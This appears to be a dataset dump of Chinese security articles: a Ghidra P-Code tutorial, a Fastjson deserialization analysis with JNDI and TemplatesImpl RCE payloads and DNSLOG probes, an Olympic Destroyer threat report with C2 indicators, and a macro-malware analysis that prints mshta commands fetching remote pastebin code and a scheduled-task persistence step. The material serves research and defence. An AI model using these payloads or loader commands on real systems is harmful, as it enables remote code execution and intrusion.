text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 使用Ghidra P-Code进行辅助逆向分析
##### 译文声明
本文是翻译文章，文章原作者 galaxylab，文章来源：galaxylab.com.cn
原文地址：<https://galaxylab.com.cn/%E4%BD%BF%E7%94%A8ghidra-p-code%E8%BF%9B%E8%A1%8C%E8%BE%85%E5%8A%A9%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
Ghidra是美国NSA开源的一款跨平台软件逆向工具, 目前支持的平台有Windows,
macOS及Linux并提供了反汇编、汇编、反编译等多种功能。由于Ghidra是开源项目，目前目前已经有大量的安全研究人员为其编写插件来不断扩展功能，此外Ghidra还支持多种CPU架构的反编译功能，例如PowerPC,
MIPS等在IoT领域比较常见的CPU类型。
## 2\. P-Code 介绍
* Ghidra P-Code是专为逆向工程设计的寄存器传输语言，能够对许多不同的处理器进行建模。
* P-Code会将单个处理器指令转化为一系列的P-Code操作, 这些操作将处理器状态的一部分作为输入和输出变量(VarNodes)。
* 通过分析原始P-Code，可以了解代码中寄存器的控制流，从而帮助我们辅助分析代码。
* 具体说明可以参考P-Code相关文档: Ghidra安装目录下的docs/languages/html/pcoderef.html 。
简单来说就是Ghidra将各种不同的处理器汇编代码转换为了统一的P-Code中间语言并提供了API接口，通过这些API接口我们可以在一定程度上实现一些跨CPU架构的自定义的辅助分析功能。
下图是VxWorks系统中初始化bss段数据的代码，我们可以看到这段代码调用了bzero函数去初始化bss段。
在开启了P-Code View配置后，我们就可以对应的查看每条汇编指令所对应的Pcode指令流了。如下图所示，我们可以通过P-Code来逐条分析寄存器的变化。
## 3\. P-Code 应用案例 – 对函数调用参数进行静态追踪
在进行逆向分析时IDA或Ghidra等逆向工具通常会帮我们完成CALL参数实际值的追踪分析，然而当我们想要进行自动化分析时，却发现无法简单的通过一个API来直接获取这些函数调用的参数值。此时我们就可以使用Ghidra
P-Code来进行辅助分析，通过追踪P-Code流来计算出函数调用参数的实际值。
我们还是以sysStart这个函数中来对P-Code相关的API进行说明。如下图所示，为了获取函数代码的P-Code,
我们首先要调用decomplib.decompileFunction对函数进行反编译获取dRes，接着调用dRes.getHighFunction获取反编译后的hfunction之后即可通过hfunction.getPcodeOps来获取目标函数的P-Code流。
在上图的例子中，可以看到一条指令为CALL的P-Code，CALL指令的相关说明如下图所示。我们可以通过分析input0来获取跳转地址，input1及input2则作为CALL的2个参数。此处的input0~2就是前面所说的输入和输出变量(VarNodes)。
现在我们继续分析这条P-Code指令，通过getInput函数可以方便的获取P-Code的input参数。如下图所示:此时input0是一个内存地址，input1是一个unique对象，unique对象不属于即时值需要再进一步的追踪分析而input2是const对象属于即时值此时input2参数的值就是0x54cb0。PS:
具体的VarNode对象类型可参考P-Code相关文档。
如下图所示，Ghidra在此处提供了一个很方便的函数，我们可以通过调用VarNode的getDef函数来对该VarNode的赋值流进行追踪。通过分析我们会发现该VarNode是由一条PTRSUB指令进行赋值的。
通过阅读文档，我们会发现PTRSUB实际上就是input0 + input1 的值赋值给output，至此我们就通过P-Code成功追踪到了参数的具体值。
在实际使用中我们会遇到一个参数需要向上多次追踪赋值的情况，此时我们则需要进行多次追踪计算直到算出结果或遇到动态值出现无法计算的情况。
使用P-Code来分析的一个好处是跨CPU架构，不管是MIPS、ARM、X86或是PowerPC Ghidra都会将其转换成同样的P-Code中间语言进行处理，因此基于P-Code编写的工具就具备了一定的跨平台分析能力，这在分析IoT设备时能够为我们提供一些便利。
## 4\. 基于函数参数静态追踪的一些扩展
利用P-Code来追踪函数参数的脚本我们已经开源，大家感兴趣的话，可以下载测试玩玩。
<https://github.com/PAGalaxyLab/ghidra_scripts/blob/master/trace_function_call_parm_value.py>
基于函数参数分析的这个轮子，可以实现一些比较有趣的功能下面是几个小例子。
### 4.1 遍历Goahead websFormDefine
Goahead是在IoT设备中非常常见的一款嵌入式web server，websFormDefine函数则用于向web
server注册各类Form的handler。
因此我们可以在测试由器时通过dump所有websFormDefine函数的引用来获取所有websForm的Handler，从而快速的去定位可疑的Handler发现后门等(CVE-2019-10040)。
### 4.2 基于函数报错信息来修复无法识别的函数名
下图是某基于VxWorks系统的路由器设备函数异常报错代码，通过分析代码我们可以得知在执行TaskSuspend挂起Task之前会将错误日志进行打印输出，而这个错误日志就包含了当前函数的函数名。
因此我们可以考虑如下方法来修复函数。首先找到所有TaskSuspend的引用，之后向上追踪一个P-Code
CALL指令后判断是否为print函数，是print函数则追踪函数的参数值从而获取函数名进行修复。在之前的脚本上进行一些少量修改即可实现基于异常报错的函数名修复脚本。
### 4.3 寻找命令注入漏洞
在某路由器设备中doSystem实际是system函数的一层封装，通过dump所有doSystem函数的调用可以帮助我们快速的发现命令注入漏洞。
## 5\. 总结
本文对Ghidra P-Code进行了简单的介绍，通过分析P-Code能够帮助我们编写一些定制化的分析工具，而函数调用参数追踪仅仅是其中一个使用场景，希望通过阅读这篇文章大家能够对Ghidra
P-Code有一个简单的了解，也希望能够帮助到那些有类似分析需求同学们。
PS: 文章开始的那张图片中龙喷出的二进制火焰到底是什么呢？有兴趣的同学们可以去分析下^ ^。
## 6\. 引用
1. <https://github.com/PAGalaxyLab/ghidra_scripts>
2. <https://github.com/NationalSecurityAgency/ghidra>
3. <https://github.com/0xAlexei/INFILTRATE2019/tree/master/PCodeMallocDemo>
本文由 Galaxy Lab 作者：[小黑猪](https://galaxylab.com.cn/author/64/) 发表，其版权均为 Galaxy
Lab 所有，文章内容系作者个人观点，不代表 Galaxy Lab 对观点赞同或支持。如需转载，请注明文章来源。 | 社区文章 |
# 前言
Fastjson这款国内知名的解析json的组件，笔者在此就不多介绍，网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发，逆向学习分析fastjson反序列化漏洞始末。
ps：漏洞学习环境以代码均在上传[Github项目](https://github.com/SummerSec/JavaLearnVulnerability)。
* * *
# 初窥Payload
下面是一段最简单`Fastjson的版本号反序列化--URLDNS`代码，观察发现可以提出一个问题`@type`作用？
import com.alibaba.fastjson.JSON;
public class urldns {
public static void main(String[] args) {
// dnslog平台网站：http://www.dnslog.cn/
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
JSON.parse(payload);
}
}
* * *
## @type的作用
下面是一段实验代码，帮助理解分析`@type`的由来。
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package vul.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Demo {
//TODO 修改pom.xml中的fastjson <= 1.2.24
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("summer");
String str1 = JSONObject.toJSONString(user);
// 转化的时候加入一个序列化的特征 写入类名
// feature = 特征
String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
// str2输入结果会输出 @type+类名
// 由此可知@type是用于解析JSON时的用于指定类
System.out.println(str1);
System.out.println(str2);
//如果fastjson解析内容时没有配置，会默认使用缺省配置
// TODO 查看parse方法 可以设置断点看看不同之处和相同之处
Object parse1 = JSON.parse(str1);
Object parse2 = JSON.parse(str2);
//很明显的结果不一样
System.out.println("@type: " + parse1.getClass().getName());
System.out.println("str1's parse1: " + parse1);
System.out.println("@type: " + parse2.getClass().getName());
System.out.println("str2's parse2: " + parse2);
}
}
对比分析一下，只要在JSON序列化的方法加入`SerializerFeature.WriteClassName`特征字段。序列化出来的结果会在开头加一个`@type`字段，值为进行序列化的类名。再将带有`@type`字段的序列化数据进行反序列化会得到对应的实例类对象。反序列化可以获取类对象？有Java基础的安全人应该会敏感的这里十之八九存在漏洞。
ps： 下面是一段验证代码
public class Vuldemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";
Object ob = JSON.parse(payload);
System.out.println("反序列化后类对象: " + ob.getClass().getName());
System.out.println("反序列化结果: " + ob);
}
}
* * *
# 漏洞分析
## RCE’s payload
第一种payload是使用`com.sun.rowset.JdbcRowSetImpl`类，第二种是`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`。第二种之前在[漫谈Commons-Collections反序列化](https://samny.blog.csdn.net/article/details/106160182)讨论分析过，这里不再重复着重讨论分析第一种payload。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
* * *
## 再窥Payload
观察发现这个payload由三部分组成，`@type`、`dataSourceName`、`autoCommint`。第一个`@type`前面已经提及了是获取实例化类，`dataSourceName`和`autoCommit`我们看看官方文档。
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
大致意思：使用该方法的名称绑定到`JNDI命名服务`中的`DataSource`对象上，应用程序就可以使用该名称进行查找，检索绑定到它的DataSource对象。
设置`AutoCommit`后，会`自动提交内容`。设置这个属性之后，JNDI找到对应资源，对自动提交内容，读者后期可以试试删除这个属性是不会触发漏洞的。
**知道上面这些特性后，根据特点构造等价代码**
[国外介绍JdbcRowSet 使用方法的一个小案例，可以参考一下。](http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html)
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
* * *
# 漏洞成因分析
JSON#parse()方法会调用`DefaultJSONParser#parse()`，在实例化DefaultJSONParser类是会将输入数据使用实例化JSONScanner类传入，并同时传入默认缺省配置`features`。
这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的。
DefaultJSONParser在实例化时会读取当前字符`ch={`，所以`lexer.token()=12`。
跳转12会创建JSONObject类对象，然后再调用 `DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)`方法去解析。
DefaultJSONParser#parseObject前面会做一个简单判断`lexer.token()`，然后读取字符判断是否`ch=='"'`，TRUE就获取其中的字段的值`@type`并紧接着判断`key
== JSON.DEFAULT_TYPE_KEY`相等。
接下去进入反序列化阶段`deserializer#deserialze()`\-->`parseRest()`\-->`fieldDeser#setValue`\-->一系列反射调用-->`JdbcRowSetImpl#setAutoCommit()`触发漏洞。
**最后得到Gadget chain如下**
/**
* Gadget chain:
* JSON.parse()
* DefaultJSONParser.parse()
* DefaultJSONParser.parseObject()
* JavaBeanDeserializer.deserialze()
* JavaBeanDeserializer.parseRest()
* FieldDeserializer.setValue()
* Reflect.invoke()
* JdbcRowSetImpl.setAutoCommit()
*
*/
* * *
# DNSLOG的一个小点
实战挖掘fastjson漏洞的时候比较常用的方法，探测Fastjson是用dnslog方式，探测到了再用RCE
Payload去一个一个打。但是本人在本地环境测试的时候发现了几个不同点，fastjson的版本不同，不同的payload成功概率是不同的。至于为什么是这样子，可以参考一下这篇[通过dnslog探测fastjson的几种方法](http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/)。
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
* * *
# 参考
<http://www.b1ue.cn/archives/184.html>
<http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html>
<https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html>
<http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/>
<https://www.freebuf.com/news/232758.html> | 社区文章 |
# Olympic Destroyer仍旧活跃
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/olympic-destroyer-is-still-alive/86169/>
译文仅供参考，具体内容表达以及含义原文为准。
####
2018年3月，我们发表了一篇关于[Olympic
Destroyer的研究](https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/)，它是攻击了在韩国平昌举办的2018年冬奥会的组织者、供应商和合作伙伴的高级威胁攻击。Olympic
Destroyer是基于破坏性网络蠕虫传播的网络破坏(cyber-sabotage)攻击。在破坏开始之前，Olympic
Destroyer会进行侦察并渗透到目标网络中以选择用于自我复制和自我修改的破坏性恶意软件的最佳启动板。
我们之前强调过，Olympic
Destroyer的故事与其他威胁者的故事不同，因为整个攻击是一场精心策划的欺骗行为。尽管如此，攻击者仍犯下了一些严重的错误，这些错误使我们发现并证明伪造罕见的归属物。Olympic
Destroyer背后的攻击者伪造自动生成的签名——Rich Header，并使其看起来像是由被广泛认为与朝鲜有关的攻击者Lazarus
APT组织制作的恶意软件。如果您对Rich
Header觉得很陌生，我们建议阅读另一个专门分析这种伪造行为的[博客](https://securelist.com/the-devils-in-the-rich-header/84348/)。
我们注意到，Olympic Destroyer的欺骗行为，以及过度使用各种假flag来欺骗了信息安全行业的许多研究人员。根据恶意软件的相似性，Olympic
Destroyer恶意软件被其他研究人员与三名讲中文的APT攻击者和据称是朝鲜Lazarus APT的人联系在一起;
一些代码有EternalRomance漏洞的exp的迹象，而其他代码与Netya（[Expetr /
NotPetya](https://securelist.com/schroedingers-petya/78870/)）和[BadRabbit](https://securelist.com/bad-rabbit-ransomware/82851/)目标勒索软件类似。卡巴斯基实验室设法找到横向移动工具和最初的感染后门，并且追逐了其中一名被Olympic
Destroyer控制的韩国受害者的基础设施。
Olympic Destroyer使用的一些TTP和操作安全性与[Sofacy
APT组织活动](https://securelist.com/a-slice-of-2017-sofacy-activity/83930/)有一定的相似性。说到这些错误的flag，模仿TTP比用技术进行篡改要困难得多。这意味着对模仿攻击者的操作以及对这些新TTP的操作适应都需要有深刻的知识背景。然而，重要的是要记住，Olympic
Destroyer可以被视为使用虚假flag的大师：现在我们用低信度和中信度来评估这种联系。
我们决定继续跟踪这个团队，并设置了我们的虚拟“网络”，以企图在Olympic
Destroyer出现类似的资源库时再次追捕它。但令我们惊讶的是，它最近又出现了新的活动。
在2018年5月至6月，我们发现了新的鱼叉式钓鱼文件，这些文件与Olympic
Destroyer过去使用的武器文件非常相似。这些文件和其他TTP让我们相信我们又一次看到了同一个攻击者。但是，这次攻击者有新的目标。根据我们的遥测和对鱼叉式网络钓鱼文件的特点分析，我们认为Olympic
Destroyer背后的攻击者这次针对的是俄罗斯的金融机构以及欧洲和乌克兰的生化威胁预防实验室。他们继续使用非二进制可执行感染向量和混淆脚本来逃避检测。
简化后的感染过程
## 感染分析
实际上，感染过程稍微复杂一些，而且依赖于多种不同的技术，它将VBA代码，Powershell，MS
HTA，JScript和其他Powershell混合在一起。让我们更仔细地研究一下，让事件响应者和安全研究人员在将来的任何时候都能识别出这种攻击。
我们发现的最近文件之一有以下属性：
MD5：0e7b32d23fbd6d62a593c234bafa2311
SHA1：ff59cb2b4a198d1e6438e020bb11602bd7d2510d
文件类型：Microsoft Office Word
最后保存的日期：2018-05-14 15:32:17（GMT）
已知文件名： **Spiez CONVERGENCE.doc**
嵌入式宏被严重混淆。它有一个随机生成的变量和函数名称。
混淆后的VBA宏
其目的是执行Powershell命令。这个VBA代码用到的混淆技术和Olympic Destroyer鱼叉式网络钓鱼攻击中使用的相同。
它通过命令行启动一个新的混淆的Powershell脚本。混淆器使用基于数组的重新排列来改变原始代码，并保护所有命令和字符串，例如命令和控制（C2）服务器地址。
有一种已知的混淆工具可以产生这样的效果：Invoke-Obfuscation。
混淆的命令行Powershell脚本
此脚本禁用Powershell脚本日志记录以避免留下痕迹：
它具有内联实现的Powershell中的RC4例行程序，该程序用于解密从Microsoft
OneDrive下载的额外payload。解密依赖于硬编码的32字节ASCII十六进制字母表密码。这是在过去的其他Olympic
Destroyer鱼叉式网络钓鱼文件和位于平昌的Olympic Destroyer受害者基础设施中发现的Powershell后门中都可见到的熟悉的技术。
下载的第二阶段payload是一个HTA文件，它也执行Powershell脚本。
已下载的access.log.txt
该文件具有与由矛型钓鱼附件中宏执行的Powershell脚本类似的结构。在对其进行反混淆后，我们可以看到该脚本还会禁用Powershell日志记录，并从相同的服务器地址下载下一阶段的payload。它还使用RC4和预定义的密码：
最终的payload是Powershell Empire代理。下面我们会提供一部分下载的Empire代理的http stager scriptlet。
Powershell
Empire是一个利用Python和Powershell编写的免费开源框架，允许对被感染主机进行无文件控制，它具有模块化体系结构并依赖于加密通信。渗透测试公司在横向移动和信息收集的合法安全测试中曾广泛使用该框架。
## 基础设施
我们认为攻击者使用受损的合法Web服务器来托管和控制恶意软件。根据我们的分析，发现的C2服务器的URI路径包括以下路径：
* /components/com_tags/views
* /components/com_tags/views/admin
* /components/com_tags/controllers
* /components/com_finder/helpers
* /components/com_finder/views/
* /components/com_j2xml/
* /components/com_contact/controllers/
这些是流行的开源内容管理系统[Joomla](https://github.com/joomla/joomla-cms)使用的已知目录结构：
Github上的Joomla组件路径
不幸的是，我们不知道在Joomla CMS中究竟利用了哪些漏洞。众所周知的是，其中一个payload托管服务器使用Joomla
v1.7.3，这是该软件于2011年11月发布的一个非常老的版本。
## 受害者和目标
根据多个目标概况和有限的受害者报告，我们认为Olympic
Destroyer最近的行动针对了俄罗斯，乌克兰和其他几个欧洲国家。根据我们的遥测数据，一些受害者是来自俄罗斯金融部门的实体。此外，我们发现的几乎所有样本都上传到来自欧洲国家（如荷兰，德国和法国）以及乌克兰和俄罗斯的批量扫描服务器。
最近Olympic Destroyer袭击目标的位置分布
由于我们的可视性有限，因此我们只能根据所选诱饵文档的内容，电子邮件主题或攻击者挑选的文件名所提供的配置文件推测潜在目标。
以下这样一个诱饵文件引起了我们的注意，它提到了由[SPIEZ LABORATORY](https://www.labor-spiez.ch/en/lab/)组织的瑞士举办的生化威胁研究会议’Spiez
Convergence’，该会议不久前参与了[索尔兹伯里袭击事件调查](https://www.theguardian.com/uk-news/2018/apr/15/salisbury-attack-russia-claims-chemical-weapons-watchdog-manipulated-findings)。
Decoy文档使用了Spiez Convergence主题
在攻击中观察到的另一个诱饵文档（’Investigation_file.doc’）提到了用于毒害Sergey
Skripal和他在索尔兹伯里的女儿的神经毒剂：
其他一些鱼叉式钓鱼文件的名称中包括俄文和德文的文字：
* 9bc365a16c63f25dfddcbe11da042974 Korporativ.doc
* da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
* e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc
其中一份文件包括一张带有完全的俄语的诱饵图片。
俄语中的消息鼓励用户启用宏（54b06b05b6b92a8f2ff02fdf47baad0e）
其中一份最新的武器文件被上传到来自乌克兰的恶意软件扫描服务器中，文件名为’nakaz.zip’，其中包含’nakaz.doc’（乌克兰语翻译为’order.doc’）。
另一个鼓励用户启用宏的诱导消息
根据元数据，该文件于6月14日进行了编辑。本文和以前的文件中的Cyrillic信息都是完全的俄文，表明它可能是在母语人士的帮助下编写的，而不是自动翻译软件。
一旦用户启用宏，就会显示最近从乌克兰国家机构获取的诱饵文件（日期显示2018年6月11日）。该文件的文本与乌克兰卫生部[官方网站](http://moz.gov.ua/article/ministry-mandates/nakaz-moz-ukraini-vid-11062018--1103-pro-vnesennja-zmin-do-rozpodilu-likarskih-zasobiv-dlja-hvorih-u-do--ta-pisljaoperacijnij-period-z-transplantacii-zakuplenih-za-koshti-derzhavnogo-bjudzhetu-ukraini-na-2016-rik)上的相同。
对其他相关文件的进一步分析表明，本文件的目标是在生物和流行威胁预防领域开展工作。
## 归属
虽然不全面，但以下的发现可以作为寻求这一运动与以往Olympic Destroyer活动之间更好联系的提示。更多重叠和可靠追踪Olympic
Destroyer攻击的信息可订阅巴斯基智能报告服务（参见下文）。
类似的混淆宏结构
上面的文档显示出明显的结构相似性，好像它们是由同一个工具和混淆器生成的一样。新一轮的攻击中突出显示的函数名称实际上并不新鲜，虽然也不常见，但在Olympic
Destroyer鱼叉钓鱼文件（MD5：5ba7ec869c7157efc1e52f5157705867）中也找到了名为“MultiPage1_Layout”的函数。
旧版活动中使用过的相同MultiPage1_Layout函数名称
## 结论
尽管对Olympic
Destroyer最初的预测是会保持在低水平活跃度甚至消失，但它已经在欧洲、俄罗斯和乌克兰的全新攻击中重新出现。2017年底，一个较大的网络破坏行为之前发生过类似的侦察行为，企图摧毁和瘫痪冬季奥运会的基础设施以及相关供应链、合作伙伴甚至会场的场地。可能在这种情况下，我们已经观察到了一个侦察行为，接下来可能会是一系列具有新动机的破坏性攻击。这就是为什么欧洲所有生物化学威胁预防和研究的公司或组织都必须加强其安全性并开展不定期的安全审计。
各种各样的财务和非财务目标可能表明相同的恶意软件被多个利益不同的组织使用，也就是说，一个组织主要通过网络窃取金钱，而另一个或多个组织却对寻找间谍活动目标感兴趣。这也可能是网络攻击外包的结果，这在国家之间的攻击体系中并不罕见。另一方面，财务目标可能是另一个在平昌奥运期间已经擅长这一点的攻击者的虚假flag操作，以重新引导研究人员的注意力。
根据攻击动机和本次活动的目标选择可以得出一些结论，然而，当试图在只有研究人员可以看到一些图片碎片的情况下试图回答这个活动背后的攻击者的身份会很难。今年年初，Olympic
Destroyer以其复杂的欺骗行为出现，永远地改变了归属游戏。我们认为，不可能根据定期调查中发现的少数归属媒介就得出结论。对Olympic
Destroyer等威胁的抵制和威慑应以私营部门与跨国界政府之间的合作为基础。但不幸的是，目前世界上的地缘政治局势只会推动互联网的全球分化，并为研究人员和调查人员带来更多障碍，这也将鼓励APT袭击者继续进入外国政府和商业公司的受保护网络。
作为研究人员，我们可以做的最好的事情就是继续追踪这样的威胁。我们将继续对Olympic Destroyer进行监测，并报告新发现的关于该组织的活动。
卡巴斯基智能报告服务的用户可以获得有关Olympic
Destroyer和相关活动的更多详细信息。联系方式：[email protected]
## IoC
### 文件Hash
9bc365a16c63f25dfddcbe11da042974 Korporativ .doc
da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc
abe771f280cdea6e7eaf19a26b1a9488 Scan-2018-03-13.doc.bin
b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc
b94bdb63f0703d32c20f4b2e5500dbbe bb5e8733a940fedfb1ef6b0e0ec3635c
recommandation.doc 97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc
1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc
0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc
e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc
0c6ddc3a722b865cc2d1185e27cef9b8 54b06b05b6b92a8f2ff02fdf47baad0e
4247901eca6d87f5f3af7df8249ea825 nakaz.doc
### 域名和IP
79.142.76[.]40:80/news.php 79.142.76[.]40:8989/login/process.php
79.142.76[.]40:8989/admin/get.php 159.148.186[.]116:80/admin/get.php
159.148.186[.]116:80/login/process.php 159.148.186[.]116:80/news.php
****.****.edu[.]br/components/com_finder/helpers/access.log
****.****.edu[.]br/components/com_finder/views/default.php
narpaninew.linuxuatwebspiders[.]com/components/com_j2xml/error.log
narpaninew.linuxuatwebspiders[.]com/components/com_contact/controllers/main.php
mysent[.]org/access.log.txt mysent[.]org/modules/admin.php
5.133.12[.]224:333/admin/get.php
审核人：yiwang 编辑：少爷 | 社区文章 |
**作者: Yenn_
原文链接: [Wei's
Blog](https://www.weisblog.club/2020/03/24/xls%E5%AE%8F%E7%97%85%E6%AF%92%EF%BC%8C%E7%A8%8B%E5%BA%8F%E4%B8%8D%E8%90%BD%E5%9C%B0%E5%88%9B%E5%BB%BA%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E5%AE%9E%E7%8E%B0%E8%BF%9C%E6%8E%A7/#%E7%BB%93%E6%9D%9F%E8%BF%9B%E7%A8%8B)**
# **基本信息**
FileName | FileSize | FileType | MD5
---|---|---|---
Order_679873892xls | 47，4722 Byte | Rat | 7641fef8abc7cb24b66655d11ef3daf2
## **简介**
病毒是一个宏病毒，点击启用宏后会通过mshta.exe来访问url，得到要执行的代码，病毒会创建计划任务与设置开机自启，通过powershell执行代码，从url得到两段PE数据，通过宏加载第一个PE文件，然后通过第一个PE文件创建傀儡进程，傀儡进程是一个远控
## **流程图**
[
# **详细分析**
## **解密**
病毒会调用mshta.exe <http://bit.ly/8hsshjahassahsh> 打开网站后，发现是空白，在浏览器F12，查看网络请求，刷新页面
往下滑，找到script代码，复制出来，复制到浏览器的console
[
去掉结尾的,把unscape之前的内容改为console.log(，输出解密结果
[
StrReverse作用是使字符串反序，整理一下
[
最后会执行命令 WScript.Shell.RUN mshta <http://www.pastebin.com/raw/nv5d9pYu>
访问这个url后会发现这个页面已经挂了，但是在ANYRUN有人跑过这个样本，可以看见传回的参数
[
同样的方法在console跑一遍，然后整理一下
[
## **结束进程**
第一段代码，调用CMD关闭进程winword.exe、excel.exe、MSPUB.exe、POWERPNT.exe
[
## **创建计划任务**
第二段代码，创建一个计划任务，名为Windows Update，每60分钟执行一次，执行的内容是
mshta.exe<http://pastebin.com/raw/vXpe74L2>
[
## **解密计划任务执行的内容**
在浏览器打开url后，全都是混淆的代码
[
用一样的方法在Console里面用Console.log输出出来
[
复制到notepad++，看见代码最下面有个replace
[
按Ctrl+H将中间的字符串替换掉
[
得到两个字符串，用StrReverse函数将字符串反过来，最后是用powershell执行这段代码
[
代码解密出来为
[
利用powershell执行，第三行的代码来自url <https://pastebin.com/raw/wMG90xwi>
[
